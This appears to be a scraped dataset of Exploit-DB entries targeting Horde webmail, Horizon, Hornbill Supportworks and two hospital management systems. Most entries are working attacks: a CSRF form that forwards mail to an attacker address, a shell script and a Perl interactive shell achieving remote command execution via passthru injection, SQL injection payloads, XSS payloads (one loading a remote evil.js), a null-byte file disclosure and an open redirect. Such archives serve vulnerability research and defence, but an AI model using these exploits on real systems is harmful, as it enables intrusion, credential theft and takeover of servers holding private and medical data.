deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29274
Description: Horde Groupware Web Mail Edition 5.1.2 - Cross-Site Request Forgery (1)
Type: webapps
Platform: php
Date: 2013-10-29
Author: Marcela Benetrix

Exploit:
#############################
Exploit Title : Multiple CSRF Horde Groupware Web mail Edition
Author:Marcela Benetrix
Date: 10/25/13
version: 5.1.2
software link:http://www.horde.org/apps/webmail

#############################
GroupWare Web mail Edition

Horde Groupware Webmail Edition is a free, enterprise ready, browser based communication suite. Users can read, send and organize email messages and manage and share calendars, contacts, tasks, notes, files, and bookmarks with the standards compliant components from the Horde Project

##########################
CSRF Location

Several functionalities from Rules section were found to miss the token so as to prevent CSRF


##########################
POC

A <body>
    <form action="...../horde/ingo/basic.php?page=rule" method="POST">
      <input type="hidden" name="actionID" value="rule_save" />
      <input type="hidden" name="conditionnumber" value="-1" />
      <input type="hidden" name="name" value="TestingCSRF" />
      <input type="hidden" name="combine" value="1" />
      <input type="hidden" name="field[0]" value="From" />
      <input type="hidden" name="match[0]" value="contains" />
      <input type="hidden" name="value[0]"
value="test@hotmail.com" />
      <input type="hidden" name="field[1]" value="" />
      <input type="hidden" name="action" value="4" />
      <input type="hidden" name="actionvalue"
value="attacker@hotmail.com" />
      <input type="hidden" name="stop" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

These were found at:
  * Creating a rule
  * Updating
  * Enabling
    (http://www.test.com/horde/ingo/basic.php?page=filters&rulenumber=2&actionID=rule_enable)
  * Deleting ( url-based https://www.test.com/horde/ingo/basic.php?page=filters&rulenumber=6&actionID=rule_delete)

###########################
CVE identifier

CVE-2013-6275.
##########################
Vendor Notification
10/25/2013 to: the developers. They replied immediately and fixed the problem launching a patch:  http://bugs.horde.org/ticket/12796
10/28/2013: Disclosure
Exploit-DB #48215
Description: Horde Groupware Webmail Edition 5.2.22 - Remote Code Execution
Type: webapps
Platform: php
Date: 2020-03-10
Author: Andrea Cardaci

Exploit:
#!/bin/sh

if [ "$#" -ne 4 ]; then
    echo '[!] Usage: <url> <username> <password> <command>' 1>&2
    exit 1
fi

BASE="$1"
USERNAME="$2"
PASSWORD="$3"
COMMAND="$4"

JAR="$(mktemp)"
trap 'rm -f "$JAR"' EXIT

echo "[+] Logging in as $USERNAME:$PASSWORD" 1>&2
curl -si -c "$JAR" "$BASE/login.php" \
    -d 'login_post=1' \
    -d "horde_user=$USERNAME" \
    -d "horde_pass=$PASSWORD" | grep -q 'Location: /services/portal/' || \
    echo '[!] Cannot log in' 1>&2

echo "[+] Uploading dummy file" 1>&2
echo x | curl -si -b "$JAR" "$BASE/mnemo/data.php" \
    -F 'actionID=11' \
    -F 'import_step=1' \
    -F 'import_format=csv' \
    -F 'notepad_target=x' \
    -F 'import_file=@-;filename=x' \
    -so /dev/null

echo "[+] Running command" 1>&2
BASE64_COMMAND="$(echo -n "$COMMAND 2>&1" | base64 -w0)"
curl -b "$JAR" "$BASE/mnemo/data.php" \
    -d 'actionID=3' \
    -d 'import_step=2' \
    -d 'import_format=csv' \
    -d 'header=1' \
    -d 'fields=1' \
    -d 'sep=x' \
    --data-urlencode "quote=).passthru(base64_decode(\"$BASE64_COMMAND\")).die();}//\\"
Exploit-DB #1650
Description: Horde Help Viewer 3.1 - Remote Command Execution
Type: webapps
Platform: php
Date: 2006-04-07
Author: deese

Exploit:
#!/usr/bin/perl 
# Wed Apr  5 21:51:12 CEST 2006 jolascoaga@514.es
#
# Horde help module remote execution
# 
# telnet 310.27.901.33.1109 1689 # thanks horatio for the address
# USER paranoia
# PASS total
# SYST
# REST 100
# REST 0
# PWD
# TYPE A
# PASV
# LIST
# CWD 0days
# GET horddy.pl
#
# w0w this damn 0day ftp is so sexy!
# 
# GO GO GO !! GO GO GO !! Team fall back!
# 
# Example: ./horddy.pl --host=http://www.server.com/horde
# 
# Now for your X-box !
# 
# Greets:
#  - all 514 crew 
#  - mallorca ppl r0xing.
#
# THIS IS PENE! TIMMY!!! LIVIN' A LIE!
# 
 

use strict;
use LWP::UserAgent;
use LWP::Simple;
use HTTP::Request;
use HTTP::Response;
use Getopt::Long;

$| = 1;   # mess with the best? don't mess with my buffer

my ($proxy,$proxy_user,$proxy_pass);
my ($host,$debug,$dir, $command);
my $use_ssl = 0;

my $options = GetOptions (
  'host=s'      => \$host, 
  'dir=s'      => \$dir,
  'proxy=s'           => \$proxy,
  'proxy_user=s'      => \$proxy_user,
  'proxy_pass=s'      => \$proxy_pass,
  'debug'             => \$debug);

&help unless ($host); # please don't try this at home.

$dir = "/horde/" unless($dir);
print "$host - $dir\n";

while () {
print "horddy> "; # lost connection
while(<STDIN>) {
$command=$_;
chomp($command);
last;
}
&send($command);
}

sub buildcmd {# this is a useful comment
my ($cmd) = @_;
# wonderful hacking
$cmd =~ s/ /\%20/gi;
$cmd =~ s/\//\"\.chr\(47\)\.\"/gi;

return $cmd;
}

sub send {
    my ($tmp) = @_;
    my $ok=0;
    my $cmd = buildcmd ($tmp); # this is really magic ^^
    my $socket;
    LWP::Debug::level('+') if $debug; # but remember this is crap :D

    my $ua = new LWP::UserAgent();   
    $ua->agent("Nozilla/P.N (Just for IDS woring)"); # this is not me :/

    my $string = "/$dir/services/help/?show=about&module=;\".passthru(\"$cmd\");'.";

    if ($host !~ /^http/) {
$host = sprintf ("http://%s", $host); # CRAP CRAP CRAP
    }

    my $req = HTTP::Request->new (GET => $host.$string);
    $ua->proxy(['http'] => $proxy) if $proxy;
    $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;

    print $req->as_string() if $debug; 

    my $res = $ua->request($req);
    my $html = $res->content(); 

    foreach (split(/\n/,$html)) {
if ((/<h2/) or (/<br \/>/)) { # brum brum conditionals desmitified
last;
}
print "$_\n" if $ok eq "1"; # i don't think this is usefull 
if (/<body class=/) {
$ok = 1;
}  
    }
}

sub help {
    print "Syntax: ./$0 --host=url --dir=/horde [options]\n";
    print "\t--proxy (http), --proxy_user, --proxy_pass\n";
    print "\t--debug\n";
    print "the default directory is /horde\n";
    print "\nExample\n";
    print "bash# $0 --host=http(s)://www.server.com/\n";
    print "\n";
    exit(1);
}
exit 0;
# y00000w this is the best part.
# remember mallorca es fonki :D

# milw0rm.com [2006-04-07]
Exploit-DB #29742
Description: Horde IMP Webmail 4.0.4 Client - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2007-03-15
Author: Immerda Project Group

Exploit:
source: https://www.securityfocus.com/bid/22975/info

Horde IMP Webmail Client is prone to multiple input-validation vulnerabilities, including cross-site scripting and an HTML-injection issue, because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible. 

http://www.example.com/horde/imp/search.php?edit_query=[xss]
Exploit-DB #34773
Description: Horde IMP Webmail 4.3.7 - 'fetchmailprefs.php' HTML Injection
Type: webapps
Platform: php
Date: 2010-09-27
Author: Moritz Naumann

Exploit:
source: https://www.securityfocus.com/bid/43515/info

Horde IMP Webmail is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data before it is used in dynamic content.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

Horde IMP 4.3.7 is affected; other versions may also be vulnerable.

http://www.example.com/path/fetchmailprefs.php?actionID=fetchmail_prefs_save&fm_driver=imap&fm_id=zzz%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E%3Cx+y%3D%22&fm_protocol=pop3&fm_lmailbox=INBOX&save=Create
Exploit-DB #31840
Description: Horde Multiple Product - 'day.php?Timestamp' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-24
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/29365/info
  
Horde Kronolith is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
Specific vulnerable versions have not been provided. We will update this BID as more information emerges.

http://www.example.com/horde/kronolith/day.php?timestamp=<XSS>
Exploit-DB #31839
Description: Horde Multiple Product - 'week.php?Timestamp' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-24
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/29365/info
 
Horde Kronolith is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Specific vulnerable versions have not been provided. We will update this BID as more information emerges.

http://www.example.com/horde/kronolith/week.php?timestamp=<XSS>
Exploit-DB #31838
Description: Horde Multiple Product - 'workweek.php?Timestamp' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-24
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/29365/info

Horde Kronolith is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Specific vulnerable versions have not been provided. We will update this BID as more information emerges. 

http://www.example.com/horde/kronolith/workweek.php?timestamp=<XSS>
Exploit-DB #31793
Description: Horde Turba 3.1.7 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-14
Author: Ivan Javier Sanchez

Exploit:
source: https://www.securityfocus.com/bid/29213/info

Horde Turba is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Turba Content Manger 2.1.7 is vulnerable; other versions may also be affected. 

1-object%5Bemail5D= "><script 
src=http://www.example.com/scripts/evil.js></script>
2-object%5Btitle5D= "><script 
src=http://www.example.com/scripts/evil.js></script>
Exploit-DB #4850
Description: Horde Web-Mail 3.x - 'go.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-01-06
Author: Eugene Minaev

Exploit:
----[ Horde Web-Mail Remote File Disclosure ... ITDefence.ru Antichat.ru ]

							Horde Web-Mail Remote File Disclosure
							Eugene Minaev underwater@itdefence.ru
				___________________________________________________________________
			____/  __ __ _______________________ _______  _______________    \  \   \
			/ .\  /  /_// //              /        \       \/      __       \   /__/   /
			/ /     /_//              /\        /       /      /         /     /___/
			\/        /              / /       /       /\     /         /         /
			/        /               \/       /       / /    /         /__       //\
			\       /    ____________/       /        \/    __________// /__    // /   
			/\\      \_______/        \________________/____/  2007    /_//_/   // //\
			\ \\                                                               // // /
			.\ \\        -[     ITDEFENCE.ru Security advisory     ]-         // // / . 
			. \_\\________[________________________________________]_________//_//_/ . .
			
		At first look , this code is not vulnerable and we can only read remote files.
		
		<?php
		
		if (empty($_GET['url'])) {
		exit;
		}
		if (get_magic_quotes_gpc()) {
		$url = @parse_url(stripslashes($_GET['url']));
		} else {
		$url = @parse_url($_GET['url']);
		}  
		
		.....
		
		if ((!empty($_SERVER['SERVER_NAME']) &&
		$_SERVER['SERVER_NAME'] == $url['host']) ||
		(!empty($_SERVER['HTTP_HOST']) &&
		$_SERVER['HTTP_HOST'] == $url['host'])) { 
	 
		.....
		
		
		if (!empty($_GET['untrusted'])) {
		readfile($_GET['url']);
		exit;
		}  
		
		?>
		
		But parse_url is only a set of regular expressions and we can use nullbyte to deceive function.
		
		http://test1.ru/horde/util/go.php?untrusted=1&url=test.php%00http://another.host/

----[ FROM RUSSIA WITH LOVE :: underWHAT?! , gemaglabin ]

1st advisory: http://www.securityfocus.com/archive/1/427710/30/0/threaded

# milw0rm.com [2008-01-06]
Exploit-DB #31697
Description: Horde Webmail 1.0.6 - 'addevent.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-23
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/28898/info

Horde Webmail is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.

This issue affects Kronolith 2.1.7. The vulnerable Kronolith versions are included in Horde Groupware 1.0.5 and Horde Groupware Webmail Edition 1.0.6. 

http://www.example.com/horde/kronolith/addevent.php?timestamp=[PII_REDACTED]&url=[xss]
Exploit-DB #32638
Description: Horde Webmail 5.1 - Open Redirect
Type: webapps
Platform: php
Date: 2014-04-01
Author: felipe andrian

Exploit:
[+] Horde webmail - Open Redirect Vulnerability 
[+] Date: 31/03/2014
[+] Risk: Low
[+] Remote: Yes
[+] Author: Felipe Andrian Peixoto
[+] Vendor Homepage: http://www.horde.org/apps/webmail
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on: Windows 7 and Linux
[+] Vulnerable File: go.php
[+] Dork: inurl:horde/util/go.php?
[+] Version: 5.1 probably other versions too
[+] Exploit : http://host/horde/util/go.php?url=[ Open Redirect Vul ]

Note : An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. 
This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.
Reference :https://www.owasp.org/index.php/Open_redirect
Exploit-DB #17237
Description: Horizon Web Builder - 'fshow.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-05-03
Author: Iolo Morganwg

Exploit:
# Exploit Title: Horizon SQLi
# Google Dork: intext:"Site by Horizon"
#            : inurl:"uid=HORIZON3"
# Date: 03/05/2011
# Author: Iolo Morganwg
# Category: Web App
# Version: PHP
# Tested on: Windows XP
# Vendor: http://www.horizonsolutions.tv/
# Notes: Both params are vulnerable to union based sqli

# Encoded (URL) Example
/fshow.php?uid=HORIZON3&men=-4649%27%20UNION%20ALL%20SELECT%20CONCAT%28CHAR%2858%2C119%2C117%2C97%2C58%29%2CIFNULL%28CAST%28version%28%29%20AS%20CHAR%29%2CCHAR%2832%29%29%2CCHAR%2858%2C99%2C105%2C99%2C58%29%29%23%20

# Un-Encoded Example
GET /fshow.php?uid=HORIZON3&men=-4649' UNION ALL SELECT
CONCAT(CHAR(58,119,117,97,58),IFNULL(CAST(version() AS
CHAR),CHAR(32)),CHAR(58,99,105,99,58))#  HTTP/1.1

# Query Answer
5.1.55-log
Exploit-DB #25002
Description: Hornbill Supportworks ITSM 1.0.0 - SQL Injection
Type: webapps
Platform: php
Date: 2013-04-25
Author: Joseph Sheridan

Exploit:
Summary

 

SQL Injection Vulnerability in ITSM component of Hornbill Supportworks
Application

 

    CVE number: CVE-2013-2594

    Impact: High

    Vendor homepage: http://www.hornbill.com

    Vendor notified: 19/11/2012

    Vendor response: This issue has reportedly been fixed but the vendor
refused to give version details.

    Credit: Joseph Sheridan of ReactionIS

 

Affected Products

 

Supportworks ITSM versions 1.0.0 and possibly other versions

 

Details

 

There is a SQL injection vulnerability in the ITSM component of the
Supportworks Application. The vulnerable file is calldiary.php found in the
/reports folder of the webroot. The following URL demonstrates the issue:

 

 

http://vulnhost.com/reports/calldiary.php?callref=VULN 

 

This attack can be used to take full control of the host by writing a php
webshell document (using mysql 'into outfile') to the webroot.

 

 

Impact

 

An attacker may be able to take full control of the Supportworks server and
execute arbitrary operating-system commands.

 

Solution

 

Upgrade to the latest available ITSM version - contact Vendor for more
details.

 

http://www.reactionpenetrationtesting.co.uk 

http://www.reactionpenetrationtesting.co.uk/research.html 

http://www.reactionpenetrationtesting.co.uk/security-testing-services.html
Exploit-DB #50729
Description: Hospital Management Startup 1.0 - 'Multiple' SQLi
Type: webapps
Platform: php
Date: 2022-02-10
Author: nu11secur1ty

Exploit:
# Exploit Title: Hospital Management Startup 1.0 - 'loginid' SQLi
# Exploit Author: nu11secur1ty
# Date: 02.10.2022
# Vendor: https://github.com/kabirkhyrul
# Software: https://github.com/kabirkhyrul/HMS
# CVE-2022-23366

# Description:
The loginid and password parameters from Hospital Management Startup
1.0 appear to be vulnerable to SQL injection attacks.
The attacker can retrieve all information from the administrator
account of the system and he can use the information for malicious
purposes!
WARNING: If this is in some external domain, or some subdomain, or
internal, this will be extremely dangerous!

Status: CRITICAL


[+] Payloads:

```mysql
---
Parameter: loginid (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: loginid=hacked[CREDENTIAL_REDACTED]' or '6681'='6681' AND
(SELECT 1959 FROM (SELECT(SLEEP(3)))PuyC) AND
'sDHP'='sDHP&rememberme=on&submit=Login
---

```
# Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-23366
Exploit-DB #50718
Description: Hospital Management System 4.0 - 'multiple' SQL Injection
Type: webapps
Platform: php
Date: 2022-02-08
Author: nu11secur1ty

Exploit:
# Title: Hospital Management System 4.0 - 'multiple' SQL Injection
# Author: nu11secur1ty
# Date: 02.06.2022
# Vendor: https://github.com/kishan0725
# Software: https://github.com/kishan0725/Hospital-Management-System
# CVE-2022-24263


## Description:
The Hospital Management System v4.0 is suffering from Multiple
SQL-Injections via three parameters in function.php,  contact.php, and
func3.php applications.
The attacker can be receiving the all information from the system by
using this vulnerability, and also the malicious actor can use
sensitive information from the customers of this system.
WARNING: If this is in some external domain, or some subdomain, or
internal, this will be extremely dangerous!
Status: CRITICAL


[+] Payloads:

---
Parameter: txtName (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: txtName=821761' AND (SELECT 9346 FROM
(SELECT(SLEEP(3)))HJGv) AND
'xkCZ'='xkCZ&txtEmail=xstxPhYW@https://github.com/kishan0725/Hospital-Management-System&txtPhone=813-439-23'+(select
load_file('\\\\k0lnu24kl14z5bxcoo5tj7z4bvho5fz3q6ey1qpf.https://github.com/kishan0725/Hospital-Management-System\\hgq'))+'&btnSubmit=Send
Message&txtMsg=441931
---

-------------------------------------------

---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2936)
OR 1 GROUP BY CONCAT(0x[PII_REDACTED],(SELECT (CASE WHEN (5080=5080) THEN
1 ELSE 0 END)),0x716b767a71,FLOOR(RAND(0)*2)) HAVING
MIN(0)#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login

    Type: UNION query
    Title: MySQL UNION query (random number) - 1 column
    Payload: email=riiVAqjG@https://github.com/kishan0725/Hospital-Management-System'+(select-2730)
UNION ALL SELECT
8185,8185,CONCAT(0x[PII_REDACTED],0x5777534a4b68716f6d[PII_REDACTED]544c4954786a4f774b6852586b[PII_REDACTED]4a[PII_REDACTED]4c52,0x716b767a71),8185,8185,8185,8185,8185#from(select(sleep(20)))a)+'&password2=d3U!l9k!E4&patsub=Login
---

-------------------------------------------

---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: username3=CHnDaCTc'+(select-2423) OR 1 GROUP BY
CONCAT(0x71626a6271,(SELECT (CASE WHEN (5907=5907) THEN 1 ELSE 0
END)),0x716b766b71,FLOOR(RAND(0)*2)) HAVING
MIN(0)#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login

    Type: UNION query
    Title: MySQL UNION query (random number) - 1 column
    Payload: username3=CHnDaCTc'+(select-3282) UNION ALL SELECT
CONCAT(0x71626a6271,0x446c68526a796c4475676e54774d6b617a[PII_REDACTED]756f63796f43686d706c637877534a557076,0x716b766b71),4829,4829,4829,4829#from(select(sleep(20)))a)+'&password3=a5B!n6f!U1&docsub1=Login
---

## Reproduce:
https://github.com/nu11secur1ty/CVE-mitre/edit/main/2022/CVE-2022-24263
Exploit-DB #47841
Description: Hospital Management System 4.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-01-02
Author: FULLSHADE

Exploit:
# Exploit Title: Hospital Management System 4.0 - Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2020-01-02
# Exploit Author: FULLSHADE
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/hospital-management-system-in-php/
# Version: v4.0
# Tested on: Windows
# CVE : CVE-2020-5191

================ 1. - Cross Site Scripting (Persistent) ================

URL  :  http://10.0.0.214/hospital/hospital/hms/admin/doctor-specilization.php
Method   :  POST
Parameter:  doctorspecilization
Attack   : </td><script>alert("XSS");</script><td>

POST /hospital/hospital/hms/admin/doctor-specilization.php HTTP/1.1
Host: 10.0.0.214
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.0.214/hospital/hospital/hms/admin/doctor-specilization.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 97
Origin: http://10.0.0.214
DNT: 1
Connection: close
Cookie: PHPSESSID=g1mpom762nglpeptn51b4rg5h5
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

doctorspecilization=%3C%2Ftd%3E%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E%3Ctd%3E&submit=

?doctorspecilization parameter is vulnerable to create a persistent and stored XSS exploit in the application depending on how it's viewed